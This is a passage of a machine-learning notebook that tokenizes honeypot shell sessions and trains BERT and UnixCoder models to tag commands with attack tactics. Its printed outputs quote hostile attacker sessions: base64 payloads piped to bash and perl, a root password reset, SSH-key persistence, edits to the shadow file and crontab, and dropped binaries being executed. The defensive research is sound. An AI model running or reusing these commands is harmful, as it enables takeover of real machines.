Tags (166 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]

EXAMPLE WITH UNIX TOKENIZED DATASET: 

EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (138 elements): ['<s>', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġecho', 'Ġroot', ':', 'NP', 'b', '3', 'W', '95', 'GP', '6', 'wz', 'Ġ|', 'Ġch', 'passwd', 'Ġ|', 'Ġbash', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġhead', 'Ġ-', 'n', 'Ġ1', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '4', ',$', '5', ',$', '6', ',$', '7', ',$', '8', ',$', '9', ';}', 'Ġ;', 'Ġfree', 'Ġ-', 'm', 'Ġ|', 'Ġgrep', 'ĠMem', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '2', 'Ġ,', '$', '3', ',', 'Ġ$', '4', ',', 'Ġ$', '5', ',', 'Ġ$', '6', ',', 'Ġ$', '7', '}', 'Ġ;', 'Ġls', 'Ġ-', 'lh', 'Ġ$', 'which', 'Ġls', 'Ġ;', 'Ġwhich', 'Ġls', 'Ġ;', 'Ġc', 'ront', 'ab', 'Ġ-', 'l', 'Ġ;', 'Ġw', 'Ġ;', 'Ġun', 'ame', 'Ġ-', 'm', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġmodel', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġtop', 'Ġ;', 'Ġun', 'ame', 'Ġ;', '</s>']
Tags (138 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]
In [ ]:
# COMPUTING STATS
def analyze_token_lengths_bert(dataset):
    split_sentences = [x.split(" ") for x in dataset["session"]]
    tokenized = bert_tokenizer(
        split_sentences,
        is_split_into_words=True,
        truncation=False,  # NO truncation here
    )
    lengths = [len(ids) for ids in tokenized["input_ids"]]
    avg_len = sum(lengths) / len(lengths)
    max_len = max(lengths)
    too_long = sum(1 for l in lengths if l > 512)

    print(f"\n--- Tokenizer Stats Bert ---")
    print(f"Average token length: {avg_len:.2f}")
    print(f"Max token length: {max_len}")
    print(f"Sessions that would be truncated: {too_long} out of {len(lengths)}")

    # Find the index of the session with the maximum number of tokens
    max_idx = max(range(len(tokenized["input_ids"])), key=lambda i: len(tokenized["input_ids"][i]))

    # Get the max token count
    max_token_count = len(tokenized["input_ids"][max_idx])
    # Get the original session (as a string) and split into words
    original_session = dataset["session"][max_idx]
    bash_word_count = len(original_session.split(" "))

    print(f"Max token count: {max_token_count}")
    print(f"Original bash word count: {bash_word_count}")
    print(f"Session: {original_session}")



def analyze_token_lengths_unix(dataset):
    split_sentences = [x.split(" ") for x in dataset["session"]]
    tokenized = unix_tokenizer(
        split_sentences,
        is_split_into_words=True,
        truncation=False,  # NO truncation here
    )
    lengths = [len(ids) for ids in tokenized["input_ids"]]
    avg_len = sum(lengths) / len(lengths)
    max_len = max(lengths)
    too_long = sum(1 for l in lengths if l > 512)

    print(f"\n--- Tokenizer Stats Unix ---")
    print(f"Average token length: {avg_len:.2f}")
    print(f"Max token length: {max_len}")
    print(f"Sessions that would be truncated: {too_long} out of {len(lengths)}")

    # Find the index of the session with the maximum number of tokens
    max_idx = max(range(len(tokenized["input_ids"])), key=lambda i: len(tokenized["input_ids"][i]))
    print("Index of the longest session: ", max_idx)
    # Get the max token count
    max_token_count = len(tokenized["input_ids"][max_idx])

    # Get the original session (as a string) and split into words
    original_session = dataset["session"][max_idx]
    bash_word_count = len(original_session.split(" "))

    print(f"Max token count: {max_token_count}")
    print(f"Original bash word count: {bash_word_count}")
    print(f"Session: {original_session}")


analyze_token_lengths_bert(encoded_dataset["train"])
analyze_token_lengths_unix(encoded_dataset["train"])
Token indices sequence length is longer than the specified maximum sequence length for this model (550 > 512). Running this sequence through the model will result in indexing errors
--- Tokenizer Stats Bert ---
Average token length: 189.79
Max token length: 1889
Sessions that would be truncated: 21 out of 200
Max token count: 1889
Original bash word count: 134
Session: cd /tmp || /var/tmp || /dev/shm ; echo eval unpack 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 | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo root:01BmLg8ozMoQ | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ;

--- Tokenizer Stats Unix ---
Average token length: 481.45
Max token length: 28920
Sessions that would be truncated: 27 out of 200
Index of the longest session:  172
Max token count: 28920
Original bash word count: 134
Session: cd /tmp || /var/tmp || /dev/shm ; echo eval unpack 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 | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo root:dIfGAHCRGun7 | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ;
In [ ]:
# TRUNCATE THE WORDS
def truncate_long_words(sample, max_word_length=30):
    words = sample["session"].split(" ")
    truncated = [w[:max_word_length] if len(w) > max_word_length else w for w in words]
    sample["session"] = " ".join(truncated)
    return sample

preprocessed_dataset = full_ds.map(truncate_long_words)

encoded_dataset = preprocessed_dataset.map(convert_labels_to_ids)
print(encoded_dataset)
DatasetDict({
    train: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 51
    })
    test: Dataset({
        features: ['session', 'label', 'label_id'],
        num_rows: 108
    })
})
In [ ]:
berta_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_berta,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_unix,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)

print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
In [ ]:
berta_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_berta,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_unix,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)

print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
In [ ]:
#EXAMPLES
EXAMPLE_ID = 190
print("\nEXAMPLE WITH BERTA TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = berta_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[bert_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')

print("\nEXAMPLE WITH UNIX TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = unix_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[unix_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')

analyze_token_lengths_bert(encoded_dataset["train"])
analyze_token_lengths_unix(encoded_dataset["train"])
EXAMPLE WITH BERTA TOKENIZED DATASET: 

EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (166 elements): ['[CLS]', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'echo', 'root', ':', 'np', '##b', '##3', '##w', '##9', '##5', '##gp', '##6', '##w', '##z', '|', 'ch', '##pass', '##wd', '|', 'bash', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'head', '-', 'n', '1', '|', 'aw', '##k', '{', 'print', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', ',', '$', '8', ',', '$', '9', ';', '}', ';', 'free', '-', 'm', '|', 'gr', '##ep', 'me', '##m', '|', 'aw', '##k', '{', 'print', '$', '2', ',', '$', '3', ',', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', '}', ';', 'l', '##s', '-', 'l', '##h', '$', 'which', 'l', '##s', ';', 'which', 'l', '##s', ';', 'cr', '##ont', '##ab', '-', 'l', ';', 'w', ';', 'una', '##me', '-', 'm', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'model', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'top', ';', 'una', '##me', ';', '[SEP]']
Tags (166 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]

EXAMPLE WITH UNIX TOKENIZED DATASET: 

EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (138 elements): ['<s>', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġecho', 'Ġroot', ':', 'NP', 'b', '3', 'W', '95', 'GP', '6', 'wz', 'Ġ|', 'Ġch', 'passwd', 'Ġ|', 'Ġbash', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġhead', 'Ġ-', 'n', 'Ġ1', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '4', ',$', '5', ',$', '6', ',$', '7', ',$', '8', ',$', '9', ';}', 'Ġ;', 'Ġfree', 'Ġ-', 'm', 'Ġ|', 'Ġgrep', 'ĠMem', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '2', 'Ġ,', '$', '3', ',', 'Ġ$', '4', ',', 'Ġ$', '5', ',', 'Ġ$', '6', ',', 'Ġ$', '7', '}', 'Ġ;', 'Ġls', 'Ġ-', 'lh', 'Ġ$', 'which', 'Ġls', 'Ġ;', 'Ġwhich', 'Ġls', 'Ġ;', 'Ġc', 'ront', 'ab', 'Ġ-', 'l', 'Ġ;', 'Ġw', 'Ġ;', 'Ġun', 'ame', 'Ġ-', 'm', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġmodel', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġtop', 'Ġ;', 'Ġun', 'ame', 'Ġ;', '</s>']
Tags (138 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]

--- Tokenizer Stats Bert ---
Average token length: 134.15
Max token length: 920
Sessions that would be truncated: 5 out of 200
Max token count: 920
Original bash word count: 224
Session: LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ; LC_ALL=C crontab -l ; scp -t ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C rm -f ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/j56zjai820f3zez0f853r ; LC_ALL=C /dev/shm/j56zjai820f3zez0f853r ; LC_ALL=C rm -f /dev/shm/j56zjai820f3zez0f853r ; scp -t /tmp/j56zjai820f3zez0f853r439p ; LC_ALL=C /tmp/j56zjai820f3zez0f853r439p ; LC_ALL=C rm -f /tmp/j56zjai820f3zez0f853r439p ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -B > > /dev/null /dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm ;

--- Tokenizer Stats Unix ---
Average token length: 115.39
Max token length: 824
Sessions that would be truncated: 5 out of 200
Index of the longest session:  174
Max token count: 824
Original bash word count: 224
Session: LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ; LC_ALL=C crontab -l ; scp -t ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C rm -f ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/rhrgl2vfatdfx7rbjjcfa ; LC_ALL=C /dev/shm/rhrgl2vfatdfx7rbjjcfa ; LC_ALL=C rm -f /dev/shm/rhrgl2vfatdfx7rbjjcfa ; scp -t /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; LC_ALL=C /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; LC_ALL=C rm -f /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -B > > /dev/null /dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm ;
In [ ]:
# Function to compute word vs token stats
def compute_word_token_stats(dataset, tokenizer, tokenizer_name):
    word_counts = []
    token_counts = []

    for session in dataset["session"]:
        words = session.split(" ")
        tokens = tokenizer([words], is_split_into_words=True, truncation=False)["input_ids"][0]
        word_counts.append(len(words))
        token_counts.append(len(tokens))

    return word_counts, token_counts, tokenizer_name

# Run for both tokenizers using the TRUNCATED sessions
bert_words, bert_tokens, bert_label = compute_word_token_stats(preprocessed_dataset["train"], bert_tokenizer, "BERT")
unix_words, unix_tokens, unix_label = compute_word_token_stats(preprocessed_dataset["train"], unix_tokenizer, "UnixCoder")

# Plotting
plt.figure(figsize=(10, 6))
plt.scatter(bert_tokens, bert_words, label=bert_label, alpha=0.6, marker='o')
plt.scatter(unix_tokens, unix_words, label=unix_label, alpha=0.6, marker='x')
plt.plot( [0, max(bert_tokens + unix_tokens)],[0, max(bert_words + unix_words)], 'r--', alpha=0.4)
plt.ylabel("Number of Words in Session")
plt.xlabel("Number of Tokens")
plt.title("Words vs Tokens per Session")
plt.legend()
plt.grid(True)
plt.tight_layout()
plt.show()
Token indices sequence length is longer than the specified maximum sequence length for this model (905 > 512). Running this sequence through the model will result in indexing errors
In [ ]:
# Compute token-to-word ratios
bert_ratio = np.mean(np.array(bert_tokens) / np.array(bert_words))
unix_ratio = np.mean(np.array(unix_tokens) / np.array(unix_words))

print(f"\nAverage Token-to-Word Ratio:")
print(f"BERT: {bert_ratio:.2f}")
print(f"UnixCoder: {unix_ratio:.2f}")

if bert_ratio < unix_ratio:
    print("BERT has a better (lower) token-to-word ratio.")
else:
    print("UnixCoder has a better (lower) token-to-word ratio.")
Average Token-to-Word Ratio:
BERT: 3.17
UnixCoder: 2.73
UnixCoder has a better (lower) token-to-word ratio.
In [ ]:
bert_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_berta,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
    tokenize_and_align_labels_unix,
    batched=True, # Can be performed in batches, in order to speed up times!
    remove_columns=original_columns, # To remove the original columns
)


print(bert_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})
DatasetDict({
    train: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 200
    })
    valid: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 51
    })
    test: Dataset({
        features: ['input_ids', 'attention_mask', 'labels'],
        num_rows: 108
    })
})

Task3

In [ ]:
# ***** PREPARING THE DATALOADERS *****

bert_data_collator = DataCollatorForTokenClassification(tokenizer=bert_tokenizer)
unix_data_collator = DataCollatorForTokenClassification(tokenizer=unix_tokenizer)


# BERT data loaders
bert_train_dataloader = DataLoader(
    bert_tokenized_datasets["train"],
    shuffle=True,
    collate_fn=bert_data_collator,
    batch_size=16,
)
bert_eval_dataloader = DataLoader(
    bert_tokenized_datasets["valid"], collate_fn=bert_data_collator, batch_size=16
)
bert_test_dataloader = DataLoader(
    bert_tokenized_datasets["test"], collate_fn=bert_data_collator, batch_size=16
)


# UNIX data loaders
unix_train_dataloader = DataLoader(
    unix_tokenized_datasets["train"],
    shuffle=True,
    collate_fn=unix_data_collator,
    batch_size=16,
)
unix_eval_dataloader = DataLoader(
    unix_tokenized_datasets["valid"], collate_fn=unix_data_collator, batch_size=16
)
unix_test_dataloader = DataLoader(
    unix_tokenized_datasets["test"], collate_fn=unix_data_collator, batch_size=16
)


bert_model = AutoModelForTokenClassification.from_pretrained(
    pretrained_model_name_or_path=model1,
    id2label=id2label,
    label2id=label2id,
)

unix_model = AutoModelForTokenClassification.from_pretrained(
    pretrained_model_name_or_path=model2,
    id2label=id2label,
    label2id=label2id,
)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
  "architectures": [
    "BertForMaskedLM"
  ],
  "attention_probs_dropout_prob": 0.1,
  "classifier_dropout": null,
  "gradient_checkpointing": false,
  "hidden_act": "gelu",
  "hidden_dropout_prob": 0.1,
  "hidden_size": 768,
  "id2label": {
    "0": "Execution",
    "1": "Discovery",
    "2": "Persistence",
    "3": "Defense Evasion",
    "4": "Not Malicious Yet",
    "5": "Other",
    "6": "Impact"
  },
  "initializer_range": 0.02,
  "intermediate_size": 3072,
  "label2id": {
    "Defense Evasion": 3,
    "Discovery": 1,
    "Execution": 0,
    "Impact": 6,
    "Not Malicious Yet": 4,
    "Other": 5,
    "Persistence": 2
  },
  "layer_norm_eps": 1e-12,
  "max_position_embeddings": 512,
  "model_type": "bert",
  "num_attention_heads": 12,
  "num_hidden_layers": 12,
  "pad_token_id": 0,
  "position_embedding_type": "absolute",
  "transformers_version": "4.55.2",
  "type_vocab_size": 2,
  "use_cache": true,
  "vocab_size": 30522
}

loading weights file model.safetensors from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/model.safetensors
